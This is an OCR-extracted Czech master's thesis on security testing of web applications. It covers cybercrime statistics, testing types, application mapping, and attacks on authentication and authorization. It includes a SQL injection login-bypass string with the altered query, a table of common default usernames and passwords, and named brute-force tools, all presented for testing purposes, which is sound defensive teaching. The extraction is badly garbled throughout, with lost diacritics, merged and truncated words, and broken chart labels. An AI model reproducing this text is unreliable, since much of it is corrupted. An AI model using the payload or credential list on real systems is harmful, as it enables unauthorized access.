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ABSTRAKT

Cilem diplomové prace je testovani beapesti webovych aplikaci. Hlavidsti prace je
popis jednotlivych druln testi. Dale prace obsahuje zasady pro tvorbu bermh
aplikaci, navrh optimélni strategie pro testovanitestovani bezgeosti serveru

www.paymorrow.de.

Kli¢ova slova: bezpmost, web, testovani, hacking, paymorrow

ABSTRACT

The main aim of this thesis is security testingveb applications. The principal part of this
work is description of kinds of security tests. Shiork also contains policy for developing
secured web applications, design strategy for rnigséind security test of web server

www.paymorrow.de.

Keywords: security, web, testing, hacking, paymarro
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UvoD

Cilem diplomové prace bylo testovani beapesti webovych aplikaci. V teoretické
casti byl zpracovan stény uvod do testovani software ob&cndkud se dostalo k hlavni
néplni prace, ndvodu pro testovani beénpsti webovych aplikaci. Tét&ésti je vyhrazen
v diplomové praci neptSi prostor a obsahuje navod na testovani epsé proti dnes

uzivanym utokm na webové aplikace.

Déle byly vytvadeny zasady tvorby bezfeych aplikaci, oft podle Gtok
pouzivanych hackery. Byl vytven seznam pravidel, jejichz dodrzovani bylanvést
k vyvoji bezpeénych aplikaci. Nasledujictast je zamena na analyzu rizik a shrnuje
pravidla pro tvorbu spravné analyzy rizik a obsahaké ukazku analyzy rizik pouzitelnou

na webovou aplikaci.

Praktick&cast prace obsahuje navrhnutou strategii testovézpdnosti webovych
aplikaci. Postup je znazamvyvojovym diagramem a nasledpopsan. Diplomovou praci
zakortuje popis testu bezpeosti aplikace www.paymorrow.de. Jedna se o sygiathy

za zbozi pi ndkupu v elektronickych obchodech.
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1 PROC SE ZABYVAT BEZPE CNOSTIi WEBOVYCH APLIKACI

Kriminalita se §ii po celém s&té po dlouhou dobu a dnes uZz asi nikoho rekpapi.
S nastupem inforndaich technologii se jistéast kriminality gesouva do pitacového
swta, kde byva ozrmvana jako kyber-kriminalita. Tu ieme rozdlit na dw velké

skupiny — kriminalitu pachanou pomocigiacta a kriminalitu pachanou proti paactam.
» Kriminalita proti pa&itacam:
o Paitatovy nebo siovy hacking nebo br&ni v pouziti
= -viry, DoS utoky, lamani hesel
» -slouzi k ziskavani informaci, poSkozeni uzivasged.
» Kriminalita pachana pomoci pivaci:
o FalSovani

» kradeZecisel kreditnich karet, podvodné emaily rozesilaako |
spam, podvodné obchodovani (objednané zbozi nenicedw,

platby za zboZi nejsouifaty...)
o Gambling, pornografie a dalSi obchody
= Nelicencované produktyimiou poruSovat narodni zakony
* Prani Spinavych peérm prostednictvim EFT
0 Kradeze IPR
» Piratsky software
» Audio vizualni material
» Padilané zbozi — obleeni, parféemy, Iéky...
0 ObteZovani, vyhruzky, nendvistné stranky
o Pedofilie

Z vySe uvedeného a nasledujici kapitoly je patkeékyber-kriminalita zasahuje obrovské
mnozstvi lidskychcinnosti. ProtoZze p®t oleti kyber-kriminality a Skody pachatel
zpisobené neustale ri@taji, je naprosto nezbytné zabyvat se b&zpsti jakéhokoli

softwaru.[6]
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1.1 2009 Internet Crime Report

Internet Crime Complaint Centrum (IC3)gobi jako spojovatel mezi FBI a NW3C. IC3 -
piijima a vyhodnocuje stiznosti tykajici se rychleréstajiciho pole kyber-kriminality. IC3
shira informace od @l kyber-kriminality a pomoci jednoduchého mechanisvytv&i
zpravy pro varovani radi o podezelych ¢innostech a moznych amcich. Pro
bezpénostni sloZzky na nérodni, statni, mistni a mezoh@rairovni poskytuje centralni

agendu pro stiznosti tykajici se &l vztazenych k Internetu.

Podle vysledk reportu spolénosti The Internet Crime Complaint Centre (IC3)rostl
pocet utoki za rok 2009 o 22,3 procent oprotiedesléemu roku. Agentura v roce 2009
zaznamenala celkéd36 655 stiznosti na napadenéipaovych systém a celkova ztrata
v disledku napadenéinila 559,7 miliori dolai. To je vice nez dvojnasobek oproti
predchézejicimu roku, kdy ztraty igobené pétatovou kriminalitoucinily 265 miliona

dolan. Vyvoj situace poitacové kriminality je nejlépeitelny v nasledujici tabulce:

Rok Zaznamenanych utbk Ztrata v USD
2009 336,655 $559.7 milién
2008 275,284 $265 milidgn
2007 206,884 $239.09 milién
2006 207,492 $198.44 milién
2005 231,493 $183.12 milién

Tabulka 1: Vyvoj utolk na p@itacové systemy [6]

Donald Brackmanieditel National White Collar Crime Centéika Ze vysledky podrthuji
hrozby kyber-kriminality. ,Vysok&cisla obsaZzena ve zpgawpodle ®& ukazuji Ze
kriminalnici nadale pokkaji ve vyuzivani anonymity, kterou jim Internet pgje. Také
se neustale vyvijeji sofistikované metody jak paldvaic netuSici zakazniky. Internetova
kriminalita se vyviji ve srru, ktery by se dal jen &i predstavit ped pouhymi pti lety.”

Navzdory vSem Spatnyniisim je Brackmafiv ndzor na budoucnost optimisticky. ,S
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pokratujici podporou od vejnosti dokazou bezpeostni slozky lIépe vystopovat pachatele

a vsadit je do &zeni."

Porownéani poctu stiznosti zaznamenanych na webu IC3

400 000
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200 000
150 000
100 000
50 000
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rok

Obrazek 1: P#ty stiznosti zaznamenanych na webu IC3 za posledi@idet

Ro¢ni ztraty podle evidovanych stiznosti
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Obrazek 2: Ztraty nahlaSené v evidovanych stizobste
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10 nejcastéjSich zaznamenanych stiznosti

m SPAM

® FBI podvody

O Pfeplaceni ceny

m Pokrocilé poplatkové podvody
o DalSi podvody

B Zni¢eni pocitacu

-| O Aukéni podvody
— O Podvody s kreditnimi kartami

| B Kradez identity

Druhy atok

& Nedorucéeni zbozi

15 20 25

o
oA
H
o

Procento z celkovych stiznosti

Obrazek 3: Nejastji zaznamenané atoky

Popisky utokii:

FBI podvody - atonik piedstira pislusnost k FBI pro ziskani p&n nebo osobnich

informaci od obiti

Pokrazilé poplatkové podvody — kupujici je pachatelemwéyz, aby nafed zaplatil gjaké
vedlejSi poplatky

Kradez identity — jedna se o krddeZ nebo pokusddd identity nebo osobnich informaci
Nedorweni zbozi — ofti nakupujici na internetu nebylo zbozi nikdy danio

Preplaceni ceny — @b obdrzi instrukce k plath kde je vySSi cena nez byia byt

DalSi podvody - incidenty vybizejici k zaplacekdyz nic nebylo koupeno

SPAM — nevyZadany e-mail

Podvody s kreditnimi kartami — pokus§t@vat zbozi a sluzby na karty &b

Aukéni podvody — podvodné transakce nacaigh serverech

Znic¢eni pa&itact — nikeni, poSkozovéani a vandalismus majetku

V celé kapitole byl@erpano (¢etre obrazki) prevazi ze zdroje [6]
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2 TESTOVANI SOFTWARE

Vyvoj software je oblast velmi Siroka a variabilfvizhledem k pouZzitym technologiim i
rozmanitosti prograii) a z toho vyplyva, Ze i samotné testovani obsamgné mnozstvi

raznych technik a postuip

2.1 Black-box & White-box testovani

Jednim ze zakladnicliptupi k testovani software je jeho razehni na:
® Testovanierné skinky (Black-box testing)
® Testovani bilé gkiky (White-box testing)

Pii testovanicerné skinky vi tester jen to, co maredlozeny software &hat (testovani
probih& na zékladspecifikace funénosti), ale nevi, jak testovany software uipitacuje

(. nevidi dovnit skiinky a nema moznost se tam podivat.)

Pri testovani bilé giiky ma tester fistup ke zdrojovému kodu programu (tj. vidi doinit
skiinky) a tento pistup vyuziva ke zkoumani vimi logiky programu (tj. ke zkoumani
jednotlivych programovych a datovych struktur aatmezi nimi.)

Oba gistupy maji suj vyznam v piibéhu vSech fazi testovani, avSak jejich podil se
v jednotlivych fazich vyvoje softwaru postupméni. Testovani bilé skiky previada

v patatenich fazich vyvoje a jeho vyznam se v nasledujidiéhich snizuje. Naopak
vyznam testovanicerné skinky vramci jednotlivych fazich roste a jerepladajici

v kone&nych fazich, ficemz je dlezita i ta skuténost, Zze ani v p@tenich fazich

testovani neni tento vyznam nulovy. [11]

2.2 Testy splrénim a testy selhanim
DalSi moznosti je rozteni testovani na:

® Testy spldnim (Test-to-pass)

® Testy selhanim (Test-to-fail)

Pri testech splénim se kontroluje, jestli software vykazuje jistounimalni funknost.
Tyto testy obsahujiipvazié jednoduché testovéipady, zkoumajici zakladni futikost.

Zkoumanim hranic moznosti daného software se zg@btpsty selhanim. i testovani se
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aplikuji nejdive testy splanim, které o¥ii, zda je software schopefibec pracovat, a pak

se aplikuji testy selh&dnim. [12]

2.3 Dynamické a statické

Jinym gistupem je rozéleni testovani na:
@ Statické testovani (Static testing)
® Dynamické testovani (Dynamic testing)

Pri statickém testovani se testujéca, co nebzi — typicky jde o zkoumani kodu.

Dynamické testovani naopakegstavuje zkoumani spasého software. [12]

2.4 Funkéni a nefunkéni

Funkéni testovani

Funk¢ni testy se zamiuji na tzv. funkni poZadavky. Tedy poZadavky z&ené na
funkénost aplikace. Zakaznik nebo zadavatel vyvoje apékv nich v podstatdefinuje
zpasob, jakym bude aplikace pouzivana. Proto jsou tgké pozadavky obvykle
zpracovany do tzv. figohi uziti (UseCase). Zéthto zmisohi uZziti nasledd vychazeji
testy, které se snazi pkdit spravné chovani aplikace ve vSech situacichrékt

definovanymi zfsoby uziti mohou souviset.

Funkeni testy mohou byt provédy bud’ manualg nebo s pomoci nastiojU manualnich
funkenich tesh jsou vSechny situace a vSechny stavy aplikacedkgmy Fimo samotnym
testerem a taiasto stejnym zjsobem, jakym bude danou aplikaci pouzivat koncovy
uzivatel. Za utitych podminek je mozné vyuZivat pro wyitedi, spoushi a nebo
vyhodnocovani funknich tesk raizné nastroje. V tu chvili mluvime @i ¢i mensi mie

automatizace testovani.
Nefunkéni testovani

Nefunieni testy se za#fuji na vSechny ostatni vlastnosti aplikace,iném Ze aplikace by
meéla byt spolehliva, stabilni, bezf®a. Od toho se také odviji, jaké testy jsou mezi

nefunkéni zahrnuty.

Performance test tedy test vykonovy, ma za ukol&it, Ze aplikace je schopna spolekliv

pracovat i pi nanistu zétZze napiklad ve smyslu zvySeného o sowkasré pracujicich
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uzivateh nebo sodtiasreé zpracovavanych uloh a pod. Existujzné nastroje, které dokazi
simulovat pra¥ tuto za¢Z a to i s ohledem na jeji realné rozlozeni v rareéého dne (tedy
nagiklad nizky provoz v noci, opakované vrcholy vilpthu dne atd.). #takto nafistajici
z&€Zi by se nerdly vyrazrgji prodluZzovat odezvy aplikace na vstupni dotaarférmance
testy se oft délaji jako owieni splgni poZzadavi definovanych zakaznikem. Ten v ramci
svych pozadavk na aplikaci uvadi také odhadedpokladané z&te a jeji naist do
budoucna. Krom toho je vhodné jasnucit, jakd doba odezvy je je&Stprijatelna.
Performance testy pak zkoumaji chovani aplika@elgvSim v meznich hodnotach a po
jejich prekrateni.

Ruku v ruce s performance testy jdoad testy, ozn&ované jako z#&fové testy. Reatnse
obvykle tyto testy 8laji sowasr a velice¢asto se mezi nimi ani nerozliSuje. Ukolem load
testi je owfit stabilitu aplikace p namistani objemu dat, které jsou v jejim ramci ukladany
a zpracovavany. Kroénnafistu sogdasré pracujicich uzivatél miaze praé existujici

datova zatz zpomalit praci aplikace n#iglad pi vyhledani a podohin

Da sefict Ze oba vySe zmdné typy tesi maji za ukol pedevSim optimalizaci aplikace pro

takovy vykon a takovou zé#, ktera je pro danou aplikactekavana.

Prakticky stejny fistup jako v pipadt performance a load tésse pouZiva stress tesi.
Ovsem jejich Ukolem neni optimalizace, ale odhalgnib, které by se ze své povahy
mohly objevit az fi velké zatzi. Nejde tedy o rychlost odezvy aplikace, ale @olgni

takové kritické situace, ktera by mohla vést k paglikace.
Pozn. tytofit typy testi se nejastji spojuji do jednoho.

Jinym typem nefundnich test jsou security testy, tedy testy bezpeosti aplikace. V
dnesni dob tyto testy ziskavaji nautezitosti a firmy konéné investuji i timto srérem.
NejcastjSim typem security teltjsou testy penetra&ni. Ty spdivaji v provadni
simulovanych Gtok na aplikaci s cilem odhalit mozna slaba mista.o Ttoky jsou

provadny bud’ ru¢né nebo za pomociiznych néstrdgj.[10]

Vice o bezpénostnich testech bude uvedeno v nasledujicichdtapit.
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2.4.1 testovani bezpénosti software

Testovani bezpmosti se od standardniho testovani dosti liSi.ofielpa si ugdomit, Ze i
obecném testovani porovnavame aplikaci s pozadavkgpecifikaci a snadno tedy
pozname, pokud se aplikace chova jinak nez je dedino, coZz pak ozidame za chybu.
Z toho vSak nevyplyva, Ze aplikace mgici specifikaci je bezgma a Ze uttnik neni

schopen najit bezperostni chyby, které jsou odliSné od tkadch. [2]

Bezpe&ny software

Aktualni softwar

ZamysSleny softwal  ~_

Tradicni Bezpe&nostni

chyby

chyby

Obrézek 4: Chyby v aplikacich

Jak je vidt na obrazku, tradni chyby jsou zfisobenycastmi kodu, které v aplikaci chybi,
kdezto bezp#ostni chyby se spiSe ukryvaji ¢éstech, které tstaly v aplikaci
nedopatenim a mohou byt jednou z né&fgich hrozeb pro bezpeost. Je proto nutné
vyhledavat napklad nadbytené funkce, jejich postranni efekty a mimo jiné eheat
interakci softwaru s okolim. Prawkoli softwaru je jednim z mist, kde Ize potenwial
prolomit bezpénost. Dobré je také prozkoumat vnit obsah aplikace, kde jsou drZzena

citliva data. [2]
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3 TESTOVANI BEZPE CNOSTI WEBOVYCH APLIKACI

Pro testovani bezpeosti webovych aplikaci se pouzivaji obdobné tdghnaké pouzivaji
hackeéi pro jejich prolomeni a zneuziti.i€d Utokem (nebo testovanim) na webovou

aplikaci je dilezité dikladre aplikaci zmapovat.

3.1 Mapovani aplikace

Cilem mapovani aplikace je zisk&ni ucelefedptavy o obsahu, komponentach, funkci a
tocich webové aplikace pro nalezeni voditek k gknyslabym migtm, ktera se pak daji
napadnout nap pomoci vloZeni kédu SQL. Zatimco nastroje pramatickou kontrolu
slabych mist typicky hledaji znamé zranitelné agf@RL), cilem roz&eného mapovani
aplikace je dkladre analyzovat, jak jsou jednotlivéasti aplikace integrovany a jaky je

informacni tok mezi nimi. Spravna inspekce pak odhali protaticka mista.

3.1.1 Ruéni mapovani

Pt ruénim mapovani aplikace se snazime projit vSechivy stplikace, typicky klepnutim
na kazdy odkaz. Jeikzité si zaznamendavat informace zji&t o jednotlivych strankach a

zadznamy uchovavat, nae forne tabulky, kde si zapisujeme hlaiin
* Jméno stranky a nebo Uplnou cestu ke strance
» Jestli stranka vyZaduje &seni
o Jestli strdnka vyZaduje SSL
e Argumenty GET/POST
* Vhodny komenté

Jina vhodna forma je uziti vyvojového diagramu,nktehrnuje informace o aplikaci a

prezentuje je fehlednym zpisobem.
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A 4

login.asj
menu.asp
Cookie: HasPWD=T;

a=9824, rl=user

A

error.as|

?action=profile&b=874

profile.asj}

?action=chpass&b=874

chpasswd.:

?action=logout&b=874
logout.as

Obrazek 5: Zaznamendvani struktury webové aplikgieejovym diagramem|[4]

Na za&atku prochazeni aplikace se k rippjime a zji§ujeme jestli ibec a pop jaka
metoda owrovani se pouziva. Uc¢hterych aplikaci mZzeme narazit na chybu navrhu
ovérovani, kdy nap pro stranku login.jsp je @eni vyZzadovano, ale u menu.jsp uz nutné

neni.

Pti prochazeni aplikaci se z&tfnjeme na néasledujici druhy informaci:

Statické / dynamické stranky
* Adresdova struktura

* Pomocné soubory

» Tiidy a aplety jazyka Java

* HTML koment&e a obsah

* Formul&e

+ Retézce dota#t

» Databazova spojeni
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Statické / dynamické stranky

Statické stranky sice neposkytnou fan&st nutnou pro utok na validaci vsiiyale mohou
obsahovat uzitsmé HTML komenté&e, nap. s kontaktnimi informacemi a e-maily, Fop

uzivatelska jména apod.

Dynamické stranky (.asp, .jsp, .php atd.) jsoulgau Gt@énika mnohem vice zneuZitelné.
Je vhodné si k nimifpmapovani fipsat poznamky, jakou fukkost zajiguji a o co se

staraji.

Pti testovani a podrobném zkoumani se nepouzivajigpweboveé stranky na serveru, ale
je jednodussi si gadit kopii aplikace na lokalni disk. V tomtdipact je vhodné zachovat
adreséovou strukturu jakou ma aplikace. Kopiiugeme ziskat @né¢ nebo pomoci
néjakého automatického nastroje. DalSim mistem, kdgeme ziskat kopii stranek
webové aplikace, je Google - Google databaze jecext objemnou kopii Internetu,

muzeme siasto prohlizet stranky webové aplikace diky ,catlddahu na Googlu.

Adresd‘ova struktura

Pti prochazeni (a kopirovani) struktury adiésse snazime (kroérsouboti z verejnécasti
serveru) zjistit, jestli server neobsahuje také&lgjopro administratory (ndpstaré verze
aplikace), na které se pouzivané strankimp neodkazuji. Zde @p zalezi na odhadu
testera, ktery musi podle znamé adfes@ struktury odhadnout, co dalSiho by mohl server
obsahovat. MiZou to byt nap slozky html, php, jsp, cgi, admin, secure, logchkup,

archive, old, include, inc, cs, de, en, it a mnda$ich.

Pomocné soubory

Pomocnymi soubory mohou byt soubory v jazyce JawpiScjs). Ten niize byt pouzit od
validace vstup na stras klienta, fes gizpisobeni prohlizge az po praci s relacemi.
DalSim typem jsou soubory kaskadovych twstylcss), které ale obsahuji citliva data

malokdy.

Soubory definujici strukturu a format XML dokumerftxml) byvaji bohaté na informace
acasto obsahuji ndzvy databazovych poli nelidon odkazovat na jiné pomocné soubory.
Vkladané soubory (.inc) na systémechiild pristup k databazim nebo obsahuji ptomé

pouzivané aplikaci, 8kdy jsou v nich uloZenyettzce s databdzovymitipojenimi a to
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véetre hesel. DalSi, v HTML souborech nalezené odkazyzau vést k ASP, PHP, Perl,

textovym a dalSim soubim.

TFidy a aplety jazyka Java

Pti ziskani fid jazyka Java nebo zkompilovanych servie¢ mizeme jednoduSe dostat ke
zdrojovému kédu aplikace. K de-kompilovaridy Java do zdrojového kédu se pouZziva
nag. nastroj Java Disassembler. Pro hledani Jdich rmizeme vyzkouSet hledani
obvyklych testovacich servietSessionServlet, AdminServlet, SnoopServlet nebst, Te
zkusit hledat servlety v zaloznich adigsi nebo fipojit ke jménu nalezeného servletu

(koncovky .java nebo .class).

HTML koment&‘e a obsah

V HTML koment&ich se obas da najit popis databazovych tabulek pro nasl&e
dotazy, kkdy dokonce programatomohou v kddu zapomenout hesla, ktera pouzivali p
VYVOJji, pop. na prvni pohled nesmysiné texta\eizce, které ale dZou napowdét jaky

typ Sifrovani byl v aplikaci pouZit.

Kromé¢ komentdi nas zajima i samotny obsah HTML stranekizbime se pokusit hledat
fetzce sqgl, select, insert, #include, #exec, passwdatabase, connect atd. Nalezeni

fettzce SQL niZe znamenat, Ze aplikace neni béngeproti Utoku vioZzenim SQL kodu.

Formulaie

VétSina Gtok na validaci vstup je provadéna proti formul&ovym informacim ([4]) F
hledani formul&i nepouzivame jen prochazeni aplikace, ale hledamlLHag formul&e
ve zdrojovém kodu. Po nalezeni ziskame jméno faifaupouzivanou metodu (GET nebo
POST), skript, ktery formutavola a pole, kterd formuiaobsahuje. Pokud formula
obsahuje &aka skryta pole, je vysoka Sance, Ze tato poleobusklabovat bezprost
aplikace, protoze skryta pole gasto pouzivaji prdizeni relace, identifikaci uzivatele,
hesla, pop ceny polozky a dalSich citlivych informaci. Jeodhé si poznamenat jaka

hodnota se vklada do tohoto pole.
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Retézce dotait

Jedna se o nejtkzitejSi informace, které je mozno nalézt. Diky nim sendanipulovat
s argumenty s cilem vydavat se z&koho jiného, ziskavat chréma data nebo spowbt
libovolné systémovéijkazy a jiné akce. Yetzcich dota# miZzeme nalézt identifikaci
uzivatele nebo relace, mozné databazové nebo \Alded dotazy, pdp nazvy soubdr.

Také zde mizou byt omylem zapomenuty boolovské argumenty jakba debug nebo

admin, které po nastaveni na TRUE, 1 atiZoon zobrazit zajimavé informace.

Databazova spojeni

Posledni hledanou informaci jsou Udaje o databatosgojenich, které umozni zjistit, kde

jsou z databéz&teny nebo do ni zapisovany informace.

3.1.2 Automatické mapovani

Pro automaticky mizkum se pouZzivaji nastroje, které vyiv&opii daného serveru na
lokélni disk. BohuZel se ale nejedna o femikrepliku cilového serveru se zdrojovymi kody
v PHP, ASP, nebo Perlu a databazovymi volanimi,paleze soubor dostupnych odikaz

v ramci dané aplikace.
Nastroje pro automaticky firkum:
e Lynx
* Woget
» Teleport pro
* Black Widow

« WebSleuth

3.2 Testovani bezpénosti

Po dikladném zmapovani aplikace tgeme pistoupit k samotnému testu. Testovani

typicky probih& podle nésledujiciho scéna
+ Testovani o¥rovani uzivatele

 Testovani autorizace uzivatele
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» Testovani spravy stavu relace

» Testovani validace vstup

» Testovani webového ulozéstat

» Testovani webovych sluzeb

» Testovani spravy webovych aplikaci

» Testovani webovych klietit

3.2.1 Testovani o¥rovani uzivatele

Owetrovani hraje kritickou roli v bezpgaosti aplikace, protoZze vSechna néasledna
bezpénostni rozhodnuti jsou obvykle prowdd na zaklagl identity vyplyvajici
z poskytnutych phlaSovacich udéj Aplikace po uZivateli vyZaduje zadani uzZivatelské

jména a hesla, aby &#a, zda je uzivatel tim, za koho se vydava. [4]
Metody owiovani:

* Owtovani HTTP

* Integrated Windows

* Negotiate

o Certifikéty

* Vicenasobné asfovaci metody

* Formul&ové owtrovani

* Microsoft Password

MoZnosti o¥rovani uZivatele existuje cetada, nane8sti pro vyvojde existuje i gkolik

zpasohi utoku na webové @vovani.

Hadani hesel

Velké mnozstvi uZivatél internetu si uletuje Zivot tim, Ze se nesnaZzi énit
piednastavena hesla, ogi rgjaka vibec nastavovat. Mnoho z nich si nédemuje, Ze
tim vyrazré napomaha utmikam, ktai znaji¢asto pouzivana hesla a nevahaji je vyuzit a

uz ruenim psanim nebo pouzitim automatickych nastrBjucni atoky hadanim hesla jsou
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vétSinou zdlouhadjSi, protoZze co dokazi automatické nastroje vyz&bur®R par vien,

musi hacker psat¢kolikanasoby delSi dobu. Bkdy se ale réné podd&i uhodnout
uzivatelské jméno a heslo diky lidské intui¢iveé, nez s pomoci automatickych nastroj
Casto pouzivané kombinace jmen a hesel vidime Jdal®u Krong téchto kombinaci jsou
dalsi moZznosti — pokud Uik zjisti rejaké osobni informace o uzivatelich, pop
programatorovi, bude zkouSet kombinace jeho jmgfigmeni, rok, ndsic, den narozeni,

apod.

uZivatelskd jména hesla

[prazdné]

[prazdné]

root, administrator, admin

[prazdné], root, administrator, admin, password, heslo, [[méno_firmy]

operator, webmaster, backup

[prazdné], operator, webmaster, backup

guest, demo, test, trial

[prazdné], guest, demo, test, trial

member, private

[prazdné], member, private

[iméno_firmy]

[prazdné], [[méno_firmy]

[zndmé uzivatelské jméno]

[prazdné], [znamé uzivatelské jméno]

Tabulka 2:Casté kombinace uZivatelského jména a hesla [4]

Automatickymi nastroji, které nam usnadni testov@arfovani na znama hesla, jsou hap

programy WebCraker nebo Brutus.

Hruba sila

DalSi moznosti proniknuti do zabe#prych ¢asti webové aplikace je systematické
testovani vSech moznych kombinaci zihalebo omezené podmnoziny vSech kombinaci.
Je mozné pouzivat nahodnéhpaSovaci jména a heslaiipadré mozné varianty omezit
pouzitim ziskanych uZivatelskych jmen a hesekeddlpm pipraveného slovniku. Diky
neinformovanym uZzivatéin je tento jednoduchy a snadno automatizovatelol siroce

rozsteny a ponirné asgEsny.

Pokud se utinikovi poddi ziskat jednosgrné zasSifrované heslo, e zkouSet zaSifrovat
rizna hesla a porovnavat je se zasifrovanym tvarégimdpezeni stejného zaSifrovaného
fettzce ziska uttnik nezaSifrované heslo, kteréube kdykoli pouzit pro fistup

k zabezp&enému obsahu webovych stranek.

Hadani ID relaci a hruba sila

Spolu s webovym afovanim se v aplikacich elektronickych obcho¢hasto pouziva

identifikator relace (session ID). Pokud se uzivasp:sre prihlasi, je ID relace uloZzena -



UTB ve Zling, Fakulta aplikované informatiky, 2010 26

pii opakovaném fistupu se pak nemusi znovu zadavd#ilaSovaci Udaje. Z toho vyplyva,
Ze misto utoku proti hegh je mozné testovat ID relace, které je pouzito is&om
kombinace uZzivatelského jména a hesla. Zachycdro nbkodnuti ID umaiuje hackerovi
pouzivat v poZadavcich platné ID a provést tak dené relace (session hijacking) nebo

atok prehranim. Pro kradez relace se pouziva hadani ikalsila.

Hadani je velmi ztizené, pokud jsou ID relace gewemy nahodéh Fri Spatre
implementované aplikaci, kdy jsou identifikatory polE jdouci ¢isla, se hadani provadi
velmi lehce. B testovani mzeme pro hadani ID relace vyuZzit H#ifad statistické

predpowdi.

Provadni tisidi sowasnych pozadavks pouzitim vSech moznych &li predstavuje Utok
hrubou silou. Usfch tohoto Gtoku zavisi na velikosti prostoruckliD relace; pokud je

dostatén¢ rozsahly, je obtizné ID uhodnout.

Podvraceni cookie

Ziskani cookie rize byt velmi prosgsné @i utoku proti webovému serveru, protoze
cookie miZzou obsahovat hesla nebo ID relace. Pro kradeZeosbgookie se pouZiva

odposlouchavani a vkladani skfipt

v v s

Nejjednodussi zsob ziskani cookie je odposlouchavani pomoci aatedyaz protokal
(snifferut). Pokud webové servery nepouZivaji SSL pro za#fno veskeré komunikace,
znamena to, Ze jsou soubory cookie posilatyeiné podob a mizou byt odposlechnuty.
Pro testovani zeme vyuzit najklad programy IP Sniffer, Visual Sniffer a mnoho

dalSich.

VKkladani skript je specialni typ utoku,fpnémz je do webové aplikace na klientské stran
vloZen a spush skript (obvykle v jazyce JavaScript) pro ziskémilboru cookie. Skript se
muze vlozit napiklad do diskusniho nebo emailového serverétainou obsahuje kéd na

odeslani souboru cookie hackerovi.

! Sniffer je paitatovy program nebo hardware, ktery uklada a naslesnTCP pakety.
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Bypas$ piihlagovacich formulé&: nad SQL

V aplikacich pouzivajicich databaze pro uchovawaniatelskych jmen a heselie byt
ovérovani velmi snadno obejito, pokud aplikace nematadésmou validaci vstupu.

Formul&ové owiovani nad SQL serveremie pro login uZivatele pouZzivat dotaz:

SELECT * FROM users WHERE usrName = 'username 'ifddD usrPss = 'password

input '

V testu by vlozeni:

cokoli' OR 1=1 --

do pole pro uzivatelské heslo &nilo SQL dotaz na:

SELECT * FROM users WHERE usrName = 'username inpdD usrPss = 'cokoli’' OR
1=1--"

Protoze d¥ pomkky v SQL znamenaji komertapridani ,OR 1=1" na konec ifkazu

zpasobi vzdy vyhodnocenitixazu jako pravdivého a tudiz je&wvani obejito.

3.2.2 Testovani autorizace uzivatele

Po owteni, které stanovuje, zda se uZivatéizemk aplikaci pihlasit, probih& autorizace..
Autorizace definuje, k jakyméastem aplikace ma uzivateligtup. Cilem Gtok na
autorizaci je prova#t transakce, které jsowh uzivateli zakazany. ftkladem tohoto
typu utoku by byla moznost prohlizet data uZivatelprovadt transakce nadét jinych

uzivateh. Nekdy je mozné ziskatifstup ke strankam pro spravu.[4]

Testovani nevhodné autorizace se provadi pozadéeimového serveru o zobrazeni dat
pro ukity ucet. Pokud je aplikace vytyena nesprav) budou informace zobrazeny, i kdyz
by byt nengly. Utoénikovi se niize podét ziskat fiistup k daim uzivateh na stejné
arovni — nap. pokud je zdkaznikem internetového obchodu a spré® owii pod svym
jménem, niZze se mu podd prohlizet data jinych uzivatiel DalSi moznosti je ffstup

k informacim o uZivateli na vySSi arovni. Pokudnse podai ziskat pistup k informacim

2 Spravnykesky vyraz by byl pravghodobré ,obejiti“, ktery vSak zni zvlastn
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v

0 uzivateli na vySSi arovni, ma moznost vstoupitadiministratorské oblasti, kdetie
menit funkénost a nebo data, kterd nejsou na uzivatelské Ukodispozici. Rikladem opt

Z elektronického obchodovaniude byt znéna ceny zbozi. Ne§#Si vyhodou pro hackera
je ziskani pistupu k soubdim obsahujicich Udaje profiplaSeni do databaze nebo
soubofim mimo kden webovych dokumeit které nejsou prodiné uzivatele fistupné.
Pokud uténik zisk&d pistup k adresdm nebo databazi, Wie ho vyuZit prakticky

k ¢emukoli.

Pro kazdy typ zvySenifistupu se pouziva stejny igob testovani. Jestlizetire byt
ziskana autorizace praiptup k informacim o profilu jiného uzivatele &nou hodnoty
souboru cookie, ¥e byt gipadré také mozné ziskat prava spravceémou stejné
hodnoty. [4]

Dukladnému otestovani autortzdach funkci napoméaha matice roli. Jedna se o seznam
vSech tyi uzivatefi v aplikaci, ke kterym si piSeme povolené akce aviil jak jsou

spoustny a jaké releni tokeny akce vyzaduii.

Role Uzivatel Administrator
Prohlizeni vlastniho profilu | /profile/view.asp?UID=U123 [profile/view.asp?UID=A555
Editace vlastniho profilu [profile/edit.asp?UID=U123 /profile/edit.asp?UID=A555
Prohlizeni ciziho profilu nepovoleno [profile/view.asp?UID=A555&PUID=U123
Mazani uZivatell nepovoleno /profile/deleteUser.asp?UID=A123

Tabulka 3: Fiklad matice roli

Testovani autorizace je vlastrsnaha o oklamani aplikace upravenim vstupniho pole
souvisejiciho s ID uZivatele, uzivatelskym jménepiiistupovou skupinou, nakupnim
koSikem atd. V protokolu HTTP mohou byt tyto hognptenaSeny f&s soubory cookie,
skryté tagy,rettzec dotazu, pozadavky POST, URI nebo skryté taggtovani spiva

v pokusu zminit hodnoty vstupniho pole a pokud je autorizadéape chyb® navrzena,

dovoli zobrazit data jiného uzivatele, nez podyteprokEhlo oweni.
Zjistovani, jakym zpsobem zninit které parametry pro ziskani neopréwdho istupu,
usnadiuje rozdilovd analyza, ip niz se webova aplikace prochazi s vicétyua

zaznamenavaji se rozdily v cookie a jinych polich.

% Zpisob kterym webovy server rozliSuje uZivatele
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Dotazovyretézec

Dotazovytettzec (vyplyvajici z formuliové metody GET) je viditelny ¥adku adresy
v prohliz&i za znakem "?” a pouZziva se Keguavani prognnych, které jsou odteny

znaky "&” a jejichz hodnoty nfizou byt snadno zémény v prohliz€i pouhym gepsanim.

Data POST

PrestoZe data formut& odesilana pomoci metody POST nejsou na prvni gdohititelna
v adresnintadku prohlizeée jako u metody GET, neni jejich Zma vyrazi slozitjSi. Pro
zménu miZzeme pouzit prosté staZzeni HTML stranky, upravdmjevého kodu a odeslani
faleSného pozadavku. Pokudi gméné¢ POST dat z@nime pdet znaki, musi byt pro
zachovani platnosti poZadavkiepsana i hlagka HTTP Content-Length na spravnypo

znaki POST dat.

Skryté tagy

Formul&e mohou k pedani dat na server pouzivat skryté tagy, kteréajbygasto
pouzivany pro udrZzovani stavu relace nebo mohowpdoyrity nap. k ukladani cen, pdp
dani. Skryté tagy jsou seésti formul&i a tudiZ jsou fedavany v pozadavcich GET nebo
POST a mohou byt upraveny vySe popsanyisapem.

URI

URI je retézec adresy sestaveny z ndzvu webového serverubmrsol?i zméné nazvu
